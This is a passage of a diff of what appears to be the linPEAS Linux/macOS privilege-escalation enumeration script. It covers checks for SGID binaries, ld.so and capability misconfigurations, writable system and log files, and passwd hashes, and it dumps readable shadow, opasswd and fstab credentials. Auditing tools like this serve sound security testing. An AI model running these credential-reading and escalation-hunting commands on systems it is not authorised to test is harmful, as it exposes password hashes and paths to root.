sname="$(echo $s | awk '{print $9}')"
|
||||
if [ "$sname" = "." ] || [ "$sname" = ".." ]; then
|
||||
true #Don't do nothing
|
||||
elif ! [ "$IAMROOT" ] && [ -O "$sname" ]; then
|
||||
echo "You own the SGID file: $sname" | sed -${E} "s,.*,${SED_RED},"
|
||||
elif ! [ "$IAMROOT" ] && [ -w "$sname" ]; then #If write permision, win found (no check exploits)
|
||||
echo "You can write SGID file: $sname" | sed -${E} "s,.*,${SED_RED_YELLOW},"
|
||||
else
|
||||
c="a"
|
||||
for b in $sidB; do
|
||||
if echo "$s" | grep -q $(echo $b | cut -d % -f 1); then
|
||||
echo "$s" | sed -${E} "s,$(echo $b | cut -d % -f 1),${C}[1;31m& ---> $(echo $b | cut -d % -f 2)${C}[0m,"
|
||||
c=""
|
||||
break;
|
||||
fi
|
||||
done;
|
||||
if [ "$c" ]; then
|
||||
if echo "$s" | grep -qE "$sidG1" || echo "$s" | grep -qE "$sidG2" || echo "$s" | grep -qE "$sidG3" || echo "$s" | grep -qE "$sidG4" || echo "$s" | grep -qE "$sidVB" || echo "$s" | grep -qE "$sidVB2"; then
|
||||
echo "$s" | sed -${E} "s,$sidG1,${SED_GREEN}," | sed -${E} "s,$sidG2,${SED_GREEN}," | sed -${E} "s,$sidG3,${SED_GREEN}," | sed -${E} "s,$sidG4,${SED_GREEN}," | sed -${E} "s,$sidVB,${SED_RED_YELLOW}," | sed -${E} "s,$sidVB2,${SED_RED_YELLOW},"
|
||||
else
|
||||
echo "$s (Unknown SGID binary)" | sed -${E} "s,/.*,${SED_RED},"
|
||||
printf $ITALIC
|
||||
if ! [ "$FAST" ]; then
|
||||
|
||||
if [ "$STRINGS" ]; then
|
||||
$STRINGS "$sname" | sort | uniq | while read sline; do
|
||||
sline_first="$(echo $sline | cut -d ' ' -f1)"
|
||||
if echo "$sline_first" | grep -qEv "$cfuncs"; then
|
||||
if echo "$sline_first" | grep -q "/" && [ -f "$sline_first" ]; then #If a path
|
||||
if [ -O "$sline_first" ] || [ -w "$sline_first" ]; then #And modifiable
|
||||
printf "$ITALIC --- It looks like $RED$sname$NC$ITALIC is using $RED$sline_first$NC$ITALIC and you can modify it (strings line: $sline)\n"
|
||||
fi
|
||||
else #If not a path
|
||||
if [ ${#sline_first} -gt 2 ] && command -v "$sline_first" 2>/dev/null | grep -q '/'; then #Check if existing binary
|
||||
printf "$ITALIC --- It looks like $RED$sname$NC$ITALIC is executing $RED$sline_first$NC$ITALIC and you can impersonate it (strings line: $sline)\n"
|
||||
fi
|
||||
fi
|
||||
fi
|
||||
done
|
||||
fi
|
||||
|
||||
if [ "$LDD" ] || [ "$READELF" ]; then
|
||||
echo "$ITALIC --- Checking for writable dependencies of $sname...$NC"
|
||||
fi
|
||||
if [ "$LDD" ]; then
|
||||
"$LDD" "$sname" | grep -E "$Wfolders" | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g"
|
||||
fi
|
||||
if [ "$READELF" ]; then
|
||||
"$READELF" -d "$sname" | grep PATH | grep -E "$Wfolders" | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g"
|
||||
fi
|
||||
|
||||
if [ "$TIMEOUT" ] && [ "$STRACE" ] && [ ! "$SUPERFAST" ]; then
|
||||
printf "$ITALIC"
|
||||
echo " --- Trying to execute $sname with strace in order to look for hijackable libraries..."
|
||||
timeout 2 "$STRACE" "$sname" 2>&1 | grep -i -E "open|access|no such file" | sed -${E} "s,open|access|No such file,${SED_RED}$ITALIC,g"
|
||||
printf "$NC"
|
||||
echo ""
|
||||
fi
|
||||
|
||||
fi
|
||||
fi
|
||||
fi
|
||||
fi
|
||||
done;
|
||||
echo ""
|
||||
|
||||
##-- IPF) Misconfigured ld.so
|
||||
if ! [ "$SEARCH_IN_FOLDER" ] && ! [ "$IAMROOT" ]; then
|
||||
print_2title "Checking misconfigurations of ld.so"
|
||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#ld.so"
|
||||
if [ -f "/etc/ld.so.conf" ] && [ -w "/etc/ld.so.conf" ]; then
|
||||
echo "You have write privileges over /etc/ld.so.conf" | sed -${E} "s,.*,${SED_RED_YELLOW},";
|
||||
printf $RED$ITALIC"/etc/ld.so.conf\n"$NC;
|
||||
else
|
||||
printf $GREEN$ITALIC"/etc/ld.so.conf\n"$NC;
|
||||
fi
|
||||
|
||||
echo "Content of /etc/ld.so.conf:"
|
||||
cat /etc/ld.so.conf 2>/dev/null | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g"
|
||||
|
||||
# Check each configured folder
|
||||
cat /etc/ld.so.conf 2>/dev/null | while read l; do
|
||||
if echo "$l" | grep -q include; then
|
||||
ini_path=$(echo "$l" | cut -d " " -f 2)
|
||||
fpath=$(dirname "$ini_path")
|
||||
|
||||
if [ -d "/etc/ld.so.conf" ] && [ -w "$fpath" ]; then
|
||||
echo "You have write privileges over $fpath" | sed -${E} "s,.*,${SED_RED_YELLOW},";
|
||||
printf $RED_YELLOW$ITALIC"$fpath\n"$NC;
|
||||
else
|
||||
printf $GREEN$ITALIC"$fpath\n"$NC;
|
||||
fi
|
||||
|
||||
if [ "$(find $fpath -type f '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null)" ]; then
|
||||
echo "You have write privileges over $(find $fpath -type f '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null)" | sed -${E} "s,.*,${SED_RED_YELLOW},";
|
||||
fi
|
||||
|
||||
for f in $fpath/*; do
|
||||
if [ -w "$f" ]; then
|
||||
echo "You have write privileges over $f" | sed -${E} "s,.*,${SED_RED_YELLOW},";
|
||||
printf $RED_YELLOW$ITALIC"$f\n"$NC;
|
||||
else
|
||||
printf $GREEN$ITALIC" $f\n"$NC;
|
||||
fi
|
||||
|
||||
cat "$f" | grep -v "^#" | while read l2; do
|
||||
if [ -f "$l2" ] && [ -w "$l2" ]; then
|
||||
echo "You have write privileges over $l2" | sed -${E} "s,.*,${SED_RED_YELLOW},";
|
||||
printf $RED_YELLOW$ITALIC" - $l2\n"$NC;
|
||||
else
|
||||
echo $ITALIC" - $l2"$NC | sed -${E} "s,$l2,${SED_GREEN}," | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g";
|
||||
fi
|
||||
done
|
||||
done
|
||||
fi
|
||||
done
|
||||
echo ""
|
||||
|
||||
|
||||
if [ -f "/etc/ld.so.preload" ] && [ -w "/etc/ld.so.preload" ]; then
|
||||
echo "You have write privileges over /etc/ld.so.preload" | sed -${E} "s,.*,${SED_RED_YELLOW},";
|
||||
else
|
||||
printf $ITALIC$GREEN"/etc/ld.so.preload\n"$NC;
|
||||
fi
|
||||
cat /etc/ld.so.preload 2>/dev/null | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g"
|
||||
cat /etc/ld.so.preload 2>/dev/null | while read l; do
|
||||
if [ -f "$l" ] && [ -w "$l" ]; then echo "You have write privileges over $l" | sed -${E} "s,.*,${SED_RED_YELLOW},"; fi
|
||||
done
|
||||
|
||||
fi
|
||||
|
||||
##-- IPF) Capabilities
|
||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
print_2title "Capabilities"
|
||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#capabilities"
|
||||
if [ "$(command -v capsh)" ]; then
|
||||
|
||||
print_3title "Current shell capabilities"
|
||||
cat "/proc/$$/status" | grep Cap | while read -r cap_line; do
|
||||
cap_name=$(echo "$cap_line" | awk '{print $1}')
|
||||
cap_value=$(echo "$cap_line" | awk '{print $2}')
|
||||
if [ "$cap_name" = "CapEff:" ]; then
|
||||
echo "$cap_name $(capsh --decode=0x"$cap_value" | sed -${E} "s,$capsB,${SED_RED_YELLOW},")"
|
||||
else
|
||||
echo "$cap_name $(capsh --decode=0x"$cap_value" | sed -${E} "s,$capsB,${SED_RED},")"
|
||||
fi
|
||||
done
|
||||
echo ""
|
||||
|
||||
print_3title "Parent process capabilities"
|
||||
cat "/proc/$PPID/status" | grep Cap | while read -r cap_line; do
|
||||
cap_name=$(echo "$cap_line" | awk '{print $1}')
|
||||
cap_value=$(echo "$cap_line" | awk '{print $2}')
|
||||
if [ "$cap_name" = "CapEff:" ]; then
|
||||
echo "$cap_name $(capsh --decode=0x"$cap_value" | sed -${E} "s,$capsB,${SED_RED_YELLOW},")"
|
||||
else
|
||||
echo "$cap_name $(capsh --decode=0x"$cap_value" | sed -${E} "s,$capsB,${SED_RED},")"
|
||||
fi
|
||||
done
|
||||
echo ""
|
||||
|
||||
else
|
||||
print_3title "Current shell capabilities"
|
||||
(cat "/proc/$$/status" | grep Cap | sed -${E} "s,.*0000000000000000|CapBnd: 0000003fffffffff,${SED_GREEN},") 2>/dev/null || echo_not_found "/proc/$$/status"
|
||||
echo ""
|
||||
|
||||
print_3title "Parent proc capabilities"
|
||||
(cat "/proc/$PPID/status" | grep Cap | sed -${E} "s,.*0000000000000000|CapBnd: 0000003fffffffff,${SED_GREEN},") 2>/dev/null || echo_not_found "/proc/$PPID/status"
|
||||
echo ""
|
||||
fi
|
||||
echo ""
|
||||
echo "Files with capabilities (limited to 50):"
|
||||
getcap -r / 2>/dev/null | head -n 50 | while read cb; do
|
||||
capsVB_vuln=""
|
||||
|
||||
for capVB in $capsVB; do
|
||||
capname="$(echo $capVB | cut -d ':' -f 1)"
|
||||
capbins="$(echo $capVB | cut -d ':' -f 2)"
|
||||
if [ "$(echo $cb | grep -Ei $capname)" ] && [ "$(echo $cb | grep -E $capbins)" ]; then
|
||||
echo "$cb" | sed -${E} "s,.*,${SED_RED_YELLOW},"
|
||||
capsVB_vuln="1"
|
||||
break
|
||||
fi
|
||||
done
|
||||
|
||||
if ! [ "$capsVB_vuln" ]; then
|
||||
echo "$cb" | sed -${E} "s,$capsB,${SED_RED},"
|
||||
fi
|
||||
|
||||
if ! [ "$IAMROOT" ] && [ -w "$(echo $cb | cut -d" " -f1)" ]; then
|
||||
echo "$cb is writable" | sed -${E} "s,.*,${SED_RED},"
|
||||
fi
|
||||
done
|
||||
echo ""
|
||||
fi
|
||||
|
||||
##-- IPF) Users with capabilities
|
||||
if [ -f "/etc/security/capability.conf" ] || [ "$DEBUG" ]; then
|
||||
print_2title "Users with capabilities"
|
||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#capabilities"
|
||||
if [ -f "/etc/security/capability.conf" ]; then
|
||||
grep -v '^#\|none\|^$' /etc/security/capability.conf 2>/dev/null | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_RED},"
|
||||
else echo_not_found "/etc/security/capability.conf"
|
||||
fi
|
||||
echo ""
|
||||
fi
|
||||
|
||||
##-- IPF) AppArmor profiles to prevent suid/capabilities abuse
|
||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
if [ -d "/etc/apparmor.d/" ] && [ -r "/etc/apparmor.d/" ]; then
|
||||
print_2title "AppArmor binary profiles"
|
||||
ls -l /etc/apparmor.d/ 2>/dev/null | grep -E "^-" | grep "\."
|
||||
echo ""
|
||||
fi
|
||||
fi
|
||||
|
||||
##-- IPF) Files with ACLs
|
||||
print_2title "Files with ACLs (limited to 50)"
|
||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#acls"
|
||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
( (getfacl -t -s -R -p /bin /etc $HOMESEARCH /opt /sbin /usr /tmp /root 2>/dev/null) || echo_not_found "files with acls in searched folders" ) | head -n 70 | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_RED},"
|
||||
else
|
||||
( (getfacl -t -s -R -p $SEARCH_IN_FOLDER 2>/dev/null) || echo_not_found "files with acls in searched folders" ) | head -n 70 | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_RED},"
|
||||
fi
|
||||
|
||||
if [ "$MACPEAS" ] && ! [ "$FAST" ] && ! [ "$SUPERFAST" ] && ! [ "$(command -v getfacl)" ]; then #Find ACL files in macos (veeeery slow)
|
||||
ls -RAle / 2>/dev/null | grep -v "group:everyone deny delete" | grep -E -B1 "\d: " | head -n 70 | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_RED},"
|
||||
fi
|
||||
echo ""
|
||||
|
||||
##-- IPF) Files with ResourceFork
|
||||
#if [ "$MACPEAS" ] && ! [ "$FAST" ] && ! [ "$SUPERFAST" ]; then # TOO SLOW, CHECK IT LATER
|
||||
# print_2title "Files with ResourceFork"
|
||||
# print_info "https://book.hacktricks.xyz/macos/macos-security-and-privilege-escalation#resource-forks-or-macos-ads"
|
||||
# find $HOMESEARCH -type f -exec ls -ld {} \; 2>/dev/null | grep -E ' [x\-]@ ' | awk '{printf $9; printf "\n"}' | xargs -I {} xattr -lv {} | grep "com.apple.ResourceFork"
|
||||
#fi
|
||||
#echo ""
|
||||
|
||||
##-- IPF) Files (scripts) in /etc/profile.d/
|
||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
print_2title "Files (scripts) in /etc/profile.d/"
|
||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#profiles-files"
|
||||
if [ ! "$MACPEAS" ] && ! [ "$IAMROOT" ]; then #Those folders don´t exist on a MacOS
|
||||
(ls -la /etc/profile.d/ 2>/dev/null | sed -${E} "s,$profiledG,${SED_GREEN},") || echo_not_found "/etc/profile.d/"
|
||||
check_critial_root_path "/etc/profile"
|
||||
check_critial_root_path "/etc/profile.d/"
|
||||
fi
|
||||
echo ""
|
||||
fi
|
||||
|
||||
##-- IPF) Files (scripts) in /etc/init.d/
|
||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
print_2title "Permissions in init, init.d, systemd, and rc.d"
|
||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#init-init-d-systemd-and-rc-d"
|
||||
if [ ! "$MACPEAS" ] && ! [ "$IAMROOT" ]; then #Those folders don´t exist on a MacOS
|
||||
check_critial_root_path "/etc/init/"
|
||||
check_critial_root_path "/etc/init.d/"
|
||||
check_critial_root_path "/etc/rc.d/init.d"
|
||||
check_critial_root_path "/usr/local/etc/rc.d"
|
||||
check_critial_root_path "/etc/rc.d"
|
||||
check_critial_root_path "/etc/systemd/"
|
||||
check_critial_root_path "/lib/systemd/"
|
||||
fi
|
||||
|
||||
echo ""
|
||||
fi
|
||||
|
||||
|
||||
|
||||
##-- IPF) Hashes in passwd file
|
||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
print_list "Hashes inside passwd file? ........... "
|
||||
if grep -qv '^[^:]*:[x\*\!]\|^#\|^$' /etc/passwd /etc/master.passwd /etc/group 2>/dev/null; then grep -v '^[^:]*:[x\*]\|^#\|^$' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null | sed -${E} "s,.*,${SED_RED},"
|
||||
else echo_no
|
||||
fi
|
||||
|
||||
##-- IPF) Writable in passwd file
|
||||
print_list "Writable passwd file? ................ "
|
||||
if [ -w "/etc/passwd" ]; then echo "/etc/passwd is writable" | sed -${E} "s,.*,${SED_RED_YELLOW},"
|
||||
elif [ -w "/etc/pwd.db" ]; then echo "/etc/pwd.db is writable" | sed -${E} "s,.*,${SED_RED_YELLOW},"
|
||||
elif [ -w "/etc/master.passwd" ]; then echo "/etc/master.passwd is writable" | sed -${E} "s,.*,${SED_RED_YELLOW},"
|
||||
else echo_no
|
||||
fi
|
||||
|
||||
##-- IPF) Credentials in fstab
|
||||
print_list "Credentials in fstab/mtab? ........... "
|
||||
if grep -qE "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null; then grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null | sed -${E} "s,.*,${SED_RED},"
|
||||
else echo_no
|
||||
fi
|
||||
|
||||
##-- IPF) Read shadow files
|
||||
print_list "Can I read shadow files? ............. "
|
||||
if [ "$(cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db 2>/dev/null)" ]; then cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db 2>/dev/null | sed -${E} "s,.*,${SED_RED},"
|
||||
else echo_no
|
||||
fi
|
||||
|
||||
print_list "Can I read shadow plists? ............ "
|
||||
possible_check=""
|
||||
(for l in /var/db/dslocal/nodes/Default/users/*; do if [ -r "$l" ];then echo "$l"; defaults read "$l"; possible_check="1"; fi; done; if ! [ "$possible_check" ]; then echo_no; fi) 2>/dev/null || echo_no
|
||||
|
||||
print_list "Can I write shadow plists? ........... "
|
||||
possible_check=""
|
||||
(for l in /var/db/dslocal/nodes/Default/users/*; do if [ -w "$l" ];then echo "$l"; possible_check="1"; fi; done; if ! [ "$possible_check" ]; then echo_no; fi) 2>/dev/null || echo_no
|
||||
|
||||
##-- IPF) Read opasswd file
|
||||
print_list "Can I read opasswd file? ............. "
|
||||
if [ -r "/etc/security/opasswd" ]; then cat /etc/security/opasswd 2>/dev/null || echo ""
|
||||
else echo_no
|
||||
fi
|
||||
|
||||
##-- IPF) network-scripts
|
||||
print_list "Can I write in network-scripts? ...... "
|
||||
if ! [ "$IAMROOT" ] && [ -w "/etc/sysconfig/network-scripts/" ]; then echo "You have write privileges on /etc/sysconfig/network-scripts/" | sed -${E} "s,.*,${SED_RED_YELLOW},"
|
||||
elif [ "$(find /etc/sysconfig/network-scripts/ '(' -not -type l -and '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' ')' 2>/dev/null)" ]; then echo "You have write privileges on $(find /etc/sysconfig/network-scripts/ '(' -not -type l -and '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' ')' 2>/dev/null)" | sed -${E} "s,.*,${SED_RED_YELLOW},"
|
||||
else echo_no
|
||||
fi
|
||||
|
||||
##-- IPF) Read root dir
|
||||
print_list "Can I read root folder? .............. "
|
||||
(ls -al /root/ 2>/dev/null | grep -vi "total 0") || echo_no
|
||||
echo ""
|
||||
fi
|
||||
|
||||
##-- IPF) Root files in home dirs
|
||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
print_2title "Searching root files in home dirs (limit 30)"
|
||||
(find $HOMESEARCH -user root 2>/dev/null | head -n 30 | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN},g" | sed "s,$USER,${SED_RED},g") || echo_not_found
|
||||
echo ""
|
||||
fi
|
||||
|
||||
##-- IPF) Others files in my dirs
|
||||
if ! [ "$IAMROOT" ]; then
|
||||
print_2title "Searching folders owned by me containing others files on it (limit 100)"
|
||||
(find $ROOT_FOLDER -type d -user "$USER" ! -path "/proc/*" ! -path "/sys/*" 2>/dev/null | head -n 100 | while read d; do find "$d" -maxdepth 1 ! -user "$USER" \( -type f -or -type d \) -exec ls -l {} \; 2>/dev/null; done) | sort | uniq | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$knw_usrs,${SED_GREEN},g" | sed "s,$USER,${SED_LIGHT_MAGENTA},g" | sed "s,root,${C}[1;13m&${C}[0m,g"
|
||||
echo ""
|
||||
fi
|
||||
|
||||
##-- IPF) Readable files belonging to root and not world readable
|
||||
if ! [ "$IAMROOT" ]; then
|
||||
print_2title "Readable files belonging to root and readable by me but not world readable"
|
||||
(find $ROOT_FOLDER -type f -user root ! -perm -o=r ! -path "/proc/*" 2>/dev/null | grep -v "\.journal" | while read f; do if [ -r "$f" ]; then ls -l "$f" 2>/dev/null | sed -${E} "s,/.*,${SED_RED},"; fi; done) || echo_not_found
|
||||
echo ""
|
||||
fi
|
||||
|
||||
##-- IPF) Interesting writable files by ownership or all
|
||||
if ! [ "$IAMROOT" ]; then
|
||||
print_2title "Interesting writable files owned by me or writable by everyone (not in Home) (max 500)"
|
||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-files"
|
||||
#In the next file, you need to specify type "d" and "f" to avoid fake link files apparently writable by all
|
||||
obmowbe=$(find $ROOT_FOLDER '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null | grep -Ev "$notExtensions" | sort | uniq | awk -F/ '{line_init=$0; if (!cont){ cont=0 }; $NF=""; act=$0; if (act == pre){(cont += 1)} else {cont=0}; if (cont < 5){ print line_init; } if (cont == "5"){print "#)You_can_write_even_more_files_inside_last_directory\n"}; pre=act }' | head -n500)
|
||||
printf "%s\n" "$obmowbe" | while read entry; do
|
||||
if echo "$entry" | grep -q "You_can_write_even_more_files_inside_last_directory"; then printf $ITALIC"$entry\n"$NC;
|
||||
elif echo "$entry" | grep -qE "$writeVB"; then
|
||||
echo "$entry" | sed -${E} "s,$writeVB,${SED_RED_YELLOW},"
|
||||
else
|
||||
echo "$entry" | sed -${E} "s,$writeB,${SED_RED},"
|
||||
fi
|
||||
done
|
||||
echo ""
|
||||
fi
|
||||
|
||||
##-- IPF) Interesting writable files by group
|
||||
if ! [ "$IAMROOT" ]; then
|
||||
print_2title "Interesting GROUP writable files (not in Home) (max 500)"
|
||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-files"
|
||||
for g in $(groups); do
|
||||
iwfbg=$(find $ROOT_FOLDER '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null | grep -Ev "$notExtensions" | awk -F/ '{line_init=$0; if (!cont){ cont=0 }; $NF=""; act=$0; if (act == pre){(cont += 1)} else {cont=0}; if (cont < 5){ print line_init; } if (cont == "5"){print "#)You_can_write_even_more_files_inside_last_directory\n"}; pre=act }' | head -n500)
|
||||
if [ "$iwfbg" ] || [ "$DEBUG" ]; then
|
||||
printf " Group $GREEN$g:\n$NC";
|
||||
printf "%s\n" "$iwfbg" | while read entry; do
|
||||
if echo "$entry" | grep -q "You_can_write_even_more_files_inside_last_directory"; then printf $ITALIC"$entry\n"$NC;
|
||||
elif echo "$entry" | grep -Eq "$writeVB"; then
|
||||
echo "$entry" | sed -${E} "s,$writeVB,${SED_RED_YELLOW},"
|
||||
else
|
||||
echo "$entry" | sed -${E} "s,$writeB,${SED_RED},"
|
||||
fi
|
||||
done
|
||||
fi
|
||||
done
|
||||
echo ""
|
||||
fi
|
||||
@@ -1,315 +0,0 @@
|
||||
###########################################
|
||||
#----------) Interesting files (----------#
|
||||
###########################################
|
||||
|
||||
|
||||
##-- IF) .sh files in PATH
|
||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
print_2title ".sh files in path"
|
||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#script-binaries-in-path"
|
||||
echo $PATH | tr ":" "\n" | while read d; do
|
||||
for f in $(find "$d" -name "*.sh" -o -name "*.sh.*" 2>/dev/null); do
|
||||
if ! [ "$IAMROOT" ] && [ -O "$f" ]; then
|
||||
echo "You own the script: $f" | sed -${E} "s,.*,${SED_RED},"
|
||||
elif ! [ "$IAMROOT" ] && [ -w "$f" ]; then #If write permision, win found (no check exploits)
|
||||
echo "You can write script: $f" | sed -${E} "s,.*,${SED_RED_YELLOW},"
|
||||
else
|
||||
echo $f | sed -${E} "s,$shscripsG,${SED_GREEN}," | sed -${E} "s,$Wfolders,${SED_RED},";
|
||||
fi
|
||||
done
|
||||
done
|
||||
echo ""
|
||||
|
||||
broken_links=$(find "$d" -type l 2>/dev/null | xargs file 2>/dev/null | grep broken)
|
||||
if [ "$broken_links" ] || [ "$DEBUG" ]; then
|
||||
print_2title "Broken links in path"
|
||||
echo $PATH | tr ":" "\n" | while read d; do
|
||||
find "$d" -type l 2>/dev/null | xargs file 2>/dev/null | grep broken | sed -${E} "s,broken,${SED_RED},";
|
||||
done
|
||||
echo ""
|
||||
fi
|
||||
fi
|
||||
|
||||
##-- IF) Date times inside firmware
|
||||
if [ "$SEARCH_IN_FOLDER" ]; then
|
||||
print_2title "Files datetimes inside the firmware (limit 50)"
|
||||
find "$SEARCH_IN_FOLDER" -type f -printf "%T+\n" 2>/dev/null | sort | uniq -c | sort | head -n 50
|
||||
echo "To find a file with an specific date execute: find \"$SEARCH_IN_FOLDER\" -type f -printf \"%T+ %p\n\" 2>/dev/null | grep \"<date>\""
|
||||
echo ""
|
||||
fi
|
||||
|
||||
##-- IF) Executable files added by user
|
||||
print_2title "Executable files potentially added by user (limit 70)"
|
||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
find / -type f -executable -printf "%T+ %p\n" 2>/dev/null | grep -Ev "000|/site-packages|/python|/node_modules|\.sample|/gems|/cgroup/" | sort -r | head -n 70
|
||||
else
|
||||
find "$SEARCH_IN_FOLDER" -type f -executable -printf "%T+ %p\n" 2>/dev/null | grep -Ev "/site-packages|/python|/node_modules|\.sample|/gems|/cgroup/" | sort -r | head -n 70
|
||||
fi
|
||||
echo ""
|
||||
|
||||
|
||||
|
||||
if [ "$MACPEAS" ]; then
|
||||
print_2title "Unsigned Applications"
|
||||
macosNotSigned /System/Applications
|
||||
fi
|
||||
|
||||
##-- IF) Unexpected in /opt
|
||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
if [ "$(ls /opt 2>/dev/null)" ]; then
|
||||
print_2title "Unexpected in /opt (usually empty)"
|
||||
ls -la /opt
|
||||
echo ""
|
||||
fi
|
||||
fi
|
||||
|
||||
##-- IF) Unexpected folders in /
|
||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
print_2title "Unexpected in root"
|
||||
if [ "$MACPEAS" ]; then
|
||||
(find $ROOT_FOLDER -maxdepth 1 | grep -Ev "$commonrootdirsMacG" | sed -${E} "s,.*,${SED_RED},") || echo_not_found
|
||||
else
|
||||
(find $ROOT_FOLDER -maxdepth 1 | grep -Ev "$commonrootdirsG" | sed -${E} "s,.*,${SED_RED},") || echo_not_found
|
||||
fi
|
||||
echo ""
|
||||
fi
|
||||
|
||||
##-- IF) Modified interesting files into specific folders in the last 5mins
|
||||
print_2title "Modified interesting files in the last 5mins (limit 100)"
|
||||
find $ROOT_FOLDER -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" ! -path "/private/var/*" 2>/dev/null | grep -v "/linpeas" | head -n 100 | sed -${E} "s,$Wfolders,${SED_RED},"
|
||||
echo ""
|
||||
|
||||
##-- IF) Writable log files
|
||||
if command -v logrotate >/dev/null && logrotate --version | head -n 1 | grep -Eq "[012]\.[0-9]+\.|3\.[0-9]\.|3\.1[0-7]\.|3\.18\.0"; then #3.18.0 and below
|
||||
print_2title "Writable log files (logrotten) (limit 50)"
|
||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#logrotate-exploitation"
|
||||
logrotate --version 2>/dev/null || echo_not_found "logrotate"
|
||||
lastWlogFolder="ImPOsSiBleeElastWlogFolder"
|
||||
logfind=$(find $ROOT_FOLDER -type f -name "*.log" -o -name "*.log.*" 2>/dev/null | awk -F/ '{line_init=$0; if (!cont){ cont=0 }; $NF=""; act=$0; if (act == pre){(cont += 1)} else {cont=0}; if (cont < 3){ print line_init; }; if (cont == "3"){print "#)You_can_write_more_log_files_inside_last_directory"}; pre=act}' | head -n 50)
|
||||
printf "%s\n" "$logfind" | while read log; do
|
||||
if ! [ "$IAMROOT" ] && [ "$log" ] && [ -w "$log" ] || ! [ "$IAMROOT" ] && echo "$log" | grep -qE "$Wfolders"; then #Only print info if something interesting found
|
||||
if echo "$log" | grep -q "You_can_write_more_log_files_inside_last_directory"; then printf $ITALIC"$log\n"$NC;
|
||||
elif ! [ "$IAMROOT" ] && [ -w "$log" ] && [ "$(command -v logrotate 2>/dev/null)" ] && logrotate --version 2>&1 | grep -qE ' 1| 2| 3.1'; then printf "Writable:$RED $log\n"$NC; #Check vuln version of logrotate is used and print red in that case
|
||||
elif ! [ "$IAMROOT" ] && [ -w "$log" ]; then echo "Writable: $log";
|
||||
elif ! [ "$IAMROOT" ] && echo "$log" | grep -qE "$Wfolders" && [ "$log" ] && [ ! "$lastWlogFolder" == "$log" ]; then lastWlogFolder="$log"; echo "Writable folder: $log" | sed -${E} "s,$Wfolders,${SED_RED},g";
|
||||
fi
|
||||
fi
|
||||
done
|
||||
fi
|
||||
|
||||
echo ""
|
||||
|
||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
##-- IF) Files inside my home
|
||||
print_2title "Files inside $HOME (limit 20)"
|
||||
(ls -la $HOME 2>/dev/null | head -n 23) || echo_not_found
|
||||
echo ""
|
||||
|
||||
##-- IF) Files inside /home
|
||||
print_2title "Files inside others home (limit 20)"
|
||||
(find $HOMESEARCH -type f 2>/dev/null | grep -v -i "/"$USER | head -n 20) || echo_not_found
|
||||
echo ""
|
||||
|
||||
##-- IF) Mail applications
|
||||
